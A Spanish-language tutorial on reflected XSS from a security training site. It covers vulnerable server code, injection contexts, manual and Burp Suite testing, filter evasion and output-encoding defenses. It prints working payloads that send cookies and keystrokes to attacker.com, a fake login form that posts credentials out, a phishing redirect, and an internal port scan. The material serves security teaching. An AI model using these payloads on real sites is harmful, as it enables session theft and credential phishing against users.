XSS Reflected — Tomo I: Anatomía del Ataque que Nadie Toma en Serio
XSS Reflected — Tomo I: Anatomía del Ataque que Nadie Toma en Serio
"El XSS reflected no mata a la primera. Lo que hace es darte acceso al navegador de la víctima sin que ella lo sepa. Y eso, en el mundo real, es suficiente para comprometer una empresa entera."
Antes de Empezar: Por Qué Este Artículo Existe
Hay miles de artículos sobre XSS en internet. La mayoría hace lo mismo: muestran un <script>alert(1)</script>, una foto de un popup, y llaman "hacking" a eso.
Eso no es hacking. Es turismo.
Este artículo existe porque en TribuCibernética creemos que entender una vulnerabilidad de verdad significa saber por qué existe, cómo se ve en el mundo real, cómo se encuentra sin herramientas automáticas, y cómo se explota más allá del alert(). Si estás aquí para aprender a copiar payloads de cheat sheets sin entender qué hacen, este no es tu lugar.
Si estás aquí para entender la mecánica real de cómo un atacante toma el control del navegador de otra persona — bienvenido.
Índice
- ¿Qué es XSS Reflected y por qué le importa a alguien con experiencia?
- La arquitectura del problema: dónde nace la vulnerabilidad
- Anatomía de una petición HTTP vulnerable
- Contextos de inyección: no todo es
<script> - Cómo encontrar XSS Reflected manualmente (sin Burp, sin escáneres)
- Cómo encontrarlo con Burp Suite — el flujo real
- Payloads que funcionan en 2026: más allá del alert(1)
- Evasión básica de filtros: encoding, case manipulation, eventos alternativos
- Impacto real: qué puedes hacer con un XSS reflected confirmado
- Defensa: cómo se parchea y por qué muchos parches fallan
- Laboratorio: practica esto en el Cyber Range de TribuCibernética
- Lo que viene en el Tomo 2
1. ¿Qué es XSS Reflected y por qué le importa a alguien con experiencia?
Cross-Site Scripting (XSS) es una clase de vulnerabilidad donde un atacante logra que el navegador de una víctima ejecute código JavaScript malicioso en el contexto de un sitio web legítimo.
Hay tres tipos: Reflected, Stored, y DOM-based. Este tomo cubre el primero.
XSS Reflected ocurre cuando una aplicación web:
- Recibe input del usuario (normalmente via parámetros GET o POST)
- Incorpora ese input directamente en la respuesta HTML sin sanitizarlo
- El navegador de quien recibe esa respuesta interpreta el input como código HTML/JS
La palabra clave es "reflected" — el payload que el atacante envía es reflejado de vuelta en la respuesta inmediata. No se almacena en la base de datos. Existe solo en esa respuesta HTTP específica.
Esto tiene una implicación crítica que mucha gente ignora: el atacante no puede explotar XSS reflected contra sí mismo. Para que el ataque funcione, necesita que otra persona — la víctima — visite una URL maliciosa construida por el atacante.
¿Suena limitado? No lo es.
El vector de entrega es el link. Y los humanos hacen clic en links todo el tiempo: emails de phishing, mensajes de WhatsApp, posts en LinkedIn, SMS. Un XSS reflected bien construido, entregado en el contexto correcto, es tan devastador como cualquier otro tipo.
2. La Arquitectura del Problema: Dónde Nace la Vulnerabilidad
Para entender XSS reflected tienes que entender algo fundamental sobre cómo funcionan los navegadores.
Cuando tu navegador recibe una respuesta HTTP, no distingue entre "HTML que el servidor generó" y "HTML que vino del input del usuario". Para el navegador, todo es HTML. Si el servidor construyó el HTML concatenando strings sin validar, el navegador ejecuta todo lo que encuentre, sin importar de dónde vino.
Esto es un problema de arquitectura, no de configuración. La mayoría de los frameworks modernos lo resuelven por defecto — pero el código legacy, las integraciones mal hechas, los parámetros de error no controlados, y los desarrolladores que "solo por esta vez" concatenan strings, siguen siendo vectores activos en 2026.
El flujo vulnerable en pseudocódigo
# Servidor Python/Flask — código VULNERABLE
@app.route('/buscar')
def buscar():
query = request.args.get('q') # input del usuario
return f"<html><body>Resultados para: {query}</body></html>"
# ↑ El problema está aquí: query se inserta directo en HTML sin escape
Si q vale Hola, la respuesta es:
<html><body>Resultados para: Hola</body></html>
Si q vale <script>alert('XSS')</script>, la respuesta es:
<html><body>Resultados para: <script>alert('XSS')</script></body></html>
El navegador ejecuta el script. Eso es XSS reflected en su forma más básica.
3. Anatomía de una Petición HTTP Vulnerable
Veamos el flujo completo con tráfico HTTP real, como lo verías en Burp Suite.
Petición legítima
GET /search?q=laptops+gamer HTTP/1.1
Host: tienda-ejemplo.com
User-Agent: Mozilla/5.0
Cookie: session=abc123xyz
Respuesta del servidor
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
<html>
<head><title>Búsqueda</title></head>
<body>
<h2>Resultados para: laptops gamer</h2>
<div id="results">
<!-- resultados aquí -->
</div>
</body>
</html>
El valor laptops gamer apareció tal cual en la respuesta. Eso es una reflexión. Ahora tenemos que determinar si esa reflexión es explotable.
Petición con payload de prueba
GET /search?q=tc_probe_xss HTTP/1.1
Host: tienda-ejemplo.com
Buscamos tc_probe_xss en la respuesta. Si aparece sin modificaciones, ese parámetro es candidato para XSS.
Petición con payload básico
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: tienda-ejemplo.com
Respuesta vulnerable
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<body>
<h2>Resultados para: <script>alert(document.domain)</script></h2>
</body>
</html>
El navegador de la víctima ejecuta alert(document.domain). XSS confirmado.
Nota técnica: Siempre usa
alert(document.domain)en lugar dealert(1)para confirmar XSS. El dominio que aparece en el alert te confirma que el JS se ejecutó en el contexto correcto del sitio objetivo, no en un sandbox o contexto diferente.
4. Contextos de Inyección: No Todo es <script>
Este es el punto donde la mayoría de artículos falla. El payload <script>alert(1)</script> funciona cuando tu input se refleja directamente en el cuerpo HTML. Pero hay múltiples contextos donde la reflexión ocurre en lugares diferentes, y cada uno requiere un payload distinto.
Contexto 1: Dentro del cuerpo HTML (el más común)
<p>Buscaste: [TU INPUT AQUÍ]</p>
Payload que funciona:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Contexto 2: Dentro de un atributo HTML
<input type="text" value="[TU INPUT AQUÍ]">
Aquí <script> no funciona directamente. Necesitas cerrar el atributo y el tag:
Payload que funciona:
" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="
"><script>alert(1)</script>
Resultado en HTML:
<input type="text" value="" onmouseover="alert(1)">
Contexto 3: Dentro de un bloque JavaScript
var searchTerm = '[TU INPUT AQUÍ]';
Necesitas romper fuera del string JavaScript:
Payload que funciona:
';alert(1)//
\';alert(1)//
'-alert(1)-'
Resultado:
var searchTerm = '';alert(1)//';
Contexto 4: Dentro de una URL en un atributo href/src
<a href="[TU INPUT AQUÍ]">Click aquí</a>
Payload que funciona:
javascript:alert(1)
Resultado:
<a href="javascript:alert(1)">Click aquí</a>
Contexto 5: Dentro de un comentario HTML
<!-- Búsqueda: [TU INPUT AQUÍ] -->
Payload que funciona:
--><script>alert(1)</script><!--
Takeaway crítico: Antes de lanzar cualquier payload, identifica el CONTEXTO donde se refleja tu input. Abre DevTools, busca tu string de prueba en el DOM, y determina exactamente dónde está. Eso determina qué payload usar.
5. Cómo Encontrar XSS Reflected Manualmente (Sin Burp, Sin Escáneres)
El pentester que solo sabe usar escáneres es un técnico de nivel 1. El que entiende la metodología manual puede encontrar lo que los escáneres no ven.
Paso 1: Mapear puntos de entrada
Documenta todos los lugares donde la aplicación recibe input del usuario y lo refleja en la respuesta:
- Parámetros GET en la URL (
?q=,?search=,?name=,?page=,?id=) - Campos de formulario (POST)
- Headers HTTP que la app procesa (User-Agent, Referer, X-Forwarded-For)
- Valores de cookies
- Fragmentos de URL (#hash — relevante para DOM XSS, pero vale mapear)
- Mensajes de error (el parámetro inválido que la app "refleja" en el error)
Paso 2: Inyectar una sonda única
Para cada punto de entrada, inyecta un string único que puedas rastrear:
tc_xss_probe_2026
No uses <script> todavía. Primero confirma que el input se refleja. Si tc_xss_probe_2026 aparece en la respuesta, ese parámetro está siendo reflejado.
Paso 3: Identificar el contexto
Busca tu sonda en el source HTML de la respuesta (no en el DOM renderizado — usa "View Page Source"). Determina en qué contexto aparece según la sección anterior.
Paso 4: Probar caracteres especiales
Envía estos caracteres y observa si aparecen en la respuesta o si son modificados/bloqueados:
<>'"`;/\
Si aparecen sin modificación, la aplicación probablemente no tiene filtros. Si algunos son escapados (e.g., < → <), hay sanitización parcial que podrías bypassear.
Paso 5: Construir el payload según contexto
Basándote en el contexto y los caracteres disponibles, construye el payload mínimo necesario para ejecutar JavaScript.
6. Cómo Encontrarlo con Burp Suite — El Flujo Real
Burp Suite es la herramienta estándar para pruebas de seguridad web. Aquí el flujo real para encontrar XSS reflected:
Configuración inicial
- Configura tu navegador para usar Burp como proxy (127.0.0.1:8080)
- Instala el certificado CA de Burp para interceptar HTTPS
- Activa "Intercept is off" — quieres capturar, no bloquear
Flujo con Burp Repeater
- Navega la aplicación normalmente mientras Burp captura el tráfico
- Identifica requests que incluyen parámetros que se reflejan en la respuesta
- Click derecho → "Send to Repeater" en las requests candidatas
- En Repeater, modifica el parámetro: primero con la sonda única, luego con payloads
Búsqueda de reflexiones en Burp
En la respuesta del Repeater, usa Ctrl+F para buscar tu sonda. Si aparece, usa el renderizado de respuesta (pestaña "Render") para ver cómo el navegador interpretaría esa respuesta.
Burp Scanner (Community vs Professional)
La versión Community de Burp tiene scanner limitado. La versión Professional detecta XSS reflected automáticamente con su escáner activo. Para el Cyber Range de TribuCibernética puedes practicar ambas aproximaciones.
Pro tip: En Burp Repeater, activa la opción "Follow redirects" y revisa no solo la respuesta inmediata sino también las páginas a las que redirige. Algunos XSS se manifiestan uno o dos redirects después de la petición original.
7. Payloads que Funcionan en 2026: Más Allá del alert(1)
El alert(1) es para confirmar. En un engagement real, necesitas payloads que demuestren impacto o que eviten detección.
Payloads de confirmación (Proof of Concept)
// Básico — confirma ejecución de JS
<script>alert(document.domain)</script>
// Usando eventos de imagen
<img src=x onerror=alert(document.domain)>
// SVG — funciona cuando los tags de script están bloqueados
<svg onload=alert(document.domain)>
// Sin comillas ni paréntesis — bypassea algunos filtros
<img src=x onerror=alert`document.domain`>
Payloads de robo de cookies (demostración de impacto)
// Exfiltración a servidor del atacante
<script>
new Image().src='https://attacker.com/steal?c='+encodeURIComponent(document.cookie)
</script>
// Versión compacta
<img src=x onerror="fetch('https://attacker.com/?c='+btoa(document.cookie))">
// Con XMLHttpRequest
<script>
var x=new XMLHttpRequest();
x.open('GET','https://attacker.com/?c='+document.cookie);
x.send();
</script>
Importante: En un engagement autorizado o en el Cyber Range de TribuCibernética, el servidor "del atacante" es tu propio servidor de captura (o el que la plataforma provee). Nunca uses estos payloads fuera de entornos autorizados.
Payload de keylogger básico
<script>
document.addEventListener('keypress', function(e){
new Image().src='https://attacker.com/keys?k='+e.key;
});
</script>
Payload de redirección
<script>window.location='https://phishing-site.com'</script>
Payloads polimórficos (para bypassear WAFs básicos)
// Mayúsculas mezcladas
<ScRiPt>alert(1)</sCrIpT>
// Encoding HTML de caracteres clave
<img src=x onerror=alert(1)>
// Usando template literals
<script>alert`1`</script>
// JavaScript URI en href
<a href="javascript:alert(1)">click</a>
// Data URI
<iframe src="data:text/html,<script>alert(1)</script>">
8. Evasión Básica de Filtros
Los filtros de XSS son, con frecuencia, intentos de blacklist que cubren los casos obvios pero dejan pasar variaciones. Aquí las técnicas de evasión más efectivas para escenarios básicos:
8.1 Cuando filtran <script>
<!-- Usando eventos en lugar de tags script -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
8.2 Cuando filtran la palabra "alert"
// Usando eval con string codificado
<script>eval(atob('YWxlcnQoMSk='))</script>
// atob('YWxlcnQoMSk=') = alert(1)
// Usando window[...]
<script>window['al'+'ert'](1)</script>
// Usando constructor de función
<script>Function('alert(1)')()</script>
// Usando setTimeout
<script>setTimeout('alert(1)',0)</script>
8.3 Cuando filtran comillas
// Sin comillas con template literals
<script>alert`1`</script>
// Usando variables del DOM
<img src=x onerror=alert(document.domain)>
// Encoding hexadecimal
<script>alert('\x31')</script>
8.4 Cuando aplican htmlspecialchars() pero incompleto
La función PHP htmlspecialchars() escapa < > " & pero no siempre el apóstrofe ' dependiendo de sus parámetros. Si el contexto usa comillas simples:
<!-- Contexto -->
<input value='[INPUT]'>
<!-- Payload si ' no está escapado -->
' onmouseover='alert(1)
9. Impacto Real: Qué Puedes Hacer con un XSS Reflected Confirmado
El alert(1) es un proof of concept. En el mundo real, el impacto de un XSS reflected bien explotado incluye:
9.1 Robo de sesión (Session Hijacking)
Si las cookies de sesión no tienen el flag HttpOnly, puedes robarlas y tomar control de la cuenta sin conocer la contraseña:
// Robar cookie de sesión
document.location='https://attacker.com/capture?cookie='+document.cookie
Con esa cookie, el atacante importa la sesión en su propio navegador y tiene acceso total a la cuenta de la víctima.
9.2 Bypass de autenticación de dos factores
En aplicaciones donde el 2FA ocurre en la misma sesión que el XSS es explotable, un atacante puede inyectar JS que espera a que la víctima complete el 2FA y luego roba la sesión post-autenticación.
9.3 Phishing avanzado in-situ
Inyectar un formulario de login falso dentro del dominio legítimo:
document.body.innerHTML='<form action="https://attacker.com/phish" method="POST">'+
'<h2>Tu sesión ha expirado. Ingresa tus credenciales:</h2>'+
'<input name="user" placeholder="Usuario"><br>'+
'<input type="password" name="pass" placeholder="Contraseña"><br>'+
'<button>Iniciar Sesión</button></form>';
La víctima ve un formulario en el dominio legítimo (la barra de URL muestra el sitio real) pero sus credenciales van al servidor del atacante.
9.4 Defacement de sesión
Modificar el contenido de la página para desinformar o dañar la reputación.
9.5 Port scanning interno vía browser
// El navegador de la víctima escanea su propia red interna
for(var i=1; i<=254; i++){
var img = new Image();
img.src = 'http://192.168.1.'+i+':8080/';
img.onerror = function(){ /* host no encontrado */ }
img.onload = function(){ /* host encontrado — reportar a atacante */ }
}
Esto convierte el XSS en un punto de pivote hacia la red interna de la víctima.
10. Defensa: Cómo Se Parchea y Por Qué Muchos Parches Fallan
La defensa correcta: Output Encoding
El principio es simple: escapar el output según el contexto donde se va a insertar.
Para contexto HTML:
# Python
from html import escape
safe_output = escape(user_input)
# PHP
$safe = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
Para contexto JavaScript: No concatenes input de usuario directamente en código JS. Usa JSON:
var data = JSON.parse('<?php echo json_encode($user_input); ?>');
Para contexto de atributos HTML:
# Escapar también comillas simples
import html
safe = html.escape(user_input, quote=True)
Content Security Policy (CSP)
CSP es una capa de defensa en profundidad que le dice al navegador qué scripts puede ejecutar:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'
Con una CSP estricta, incluso si hay XSS, el navegador no ejecutará scripts inline. Es la segunda línea de defensa más importante después del output encoding.
Por qué muchos parches fallan
Los parches de XSS fallan frecuentemente cuando:
- Se usa blacklist en lugar de encoding (filtrar
<script>pero no<img onerror>) - Se sanitiza el input al recibirlo pero no al mostrarlo (el dato "limpio" se almacena mal)
- Se escapa para un contexto pero el dato aparece en múltiples contextos
- La librería de sanitización tiene bypasses conocidos
- Se confía en WAFs como única defensa
11. Laboratorio: Practica Esto en el Cyber Range de TribuCibernética
Todo lo que leíste en este artículo tiene un lab correspondiente en nuestro Cyber Range. No hay forma de aprender XSS leyendo — tienes que explotar.
Labs disponibles en CP01 (Web Security Specialist):
- Lab XSS-R01: XSS Reflected básico en parámetro GET — contexto HTML directo
- Lab XSS-R02: XSS Reflected en atributo HTML con sanitización parcial
- Lab XSS-R03: XSS Reflected dentro de bloque JavaScript — romper el string
- Lab XSS-R04: Exfiltración de cookies via XSS Reflected — demostración de impacto real
Cada lab incluye:
- Entorno aislado y efímero (tu instancia, sin cruzarse con otros usuarios)
- Hints desbloqueables si te atascas
- Writeup disponible al completar
- Flag que confirma explotación exitosa
12. Lo que Viene en el Tomo 2
El Tomo 2 de XSS Reflected entra en territorio intermedio-avanzado:
- Bypass de WAFs reales (Cloudflare, ModSecurity, AWS WAF) con técnicas documentadas en 2025-2026
- XSS reflected en headers HTTP — User-Agent, Referer, X-Forwarded-For
- Blind XSS — cuando el payload se ejecuta en un contexto que no ves (panel de admin, logs internos)
- XSS en APIs REST — cuando la respuesta JSON se renderiza sin sanitizar
- Encadenamiento de XSS con CSRF para acciones privilegiadas sin interacción de la víctima
- Construcción de un XSS worm básico — cómo un XSS se propaga
El Tomo 3 cierra la serie de Reflected con casos de estudio de bug bounty reales, metodología para reportes HackerOne/Intigriti, y cómo monetizar un XSS reflected en programas con scope amplio.
Glosario Rápido
| Término | Definición |
|---|---|
| Reflected XSS | XSS donde el payload se refleja inmediatamente en la respuesta HTTP |
| Sink | Punto en el código donde el input llega y puede causar ejecución de JS |
| Source | Origen del input controlable por el atacante |
| Payload | El código malicioso que el atacante inyecta |
| Context | El lugar del HTML/JS donde el input es reflejado |
| Output Encoding | Transformar caracteres especiales en representaciones seguras |
| CSP | Content Security Policy — política que restringe qué scripts ejecuta el navegador |
| HttpOnly | Flag de cookie que previene acceso via JavaScript |
| PoC | Proof of Concept — demostración mínima que prueba la vulnerabilidad |
Referencias Técnicas
- OWASP Testing Guide v4.2 — OTG-INPVAL-001: Testing for Reflected XSS
- PortSwigger Web Security Academy — Cross-site scripting
- HackerOne Hacker-Powered Security Report 2025
- MITRE ATT&CK T1059.007 — JavaScript/JScript
- CWE-79: Improper Neutralization of Input During Web Page Generation
¿Encontraste un error técnico o quieres contribuir con un payload nuevo? Únete a nuestro Discord y abre un thread en #bug-articulos. La Tribu mejora con cada miembro que aporta.
→ Leer Tomo 2: XSS Reflected Avanzado — Bypass de WAFs y Blind XSS
→ Ver laboratorio en el Cyber Range
→ Unirse al Discord de TribuCibernética
© 2026 TribuCibernetica. Contenido publicado bajo fines educativos. El uso de estas técnicas fuera de entornos autorizados es ilegal. TribuCibernética no se hace responsable del uso indebido de la información aquí presentada.
[!TIP] ¿Quieres practicar esta vulnerabilidad? Pon a prueba tus conocimientos en un entorno controlado. Únete a otros hackers y explora el Cyber Range de TribuCibernética.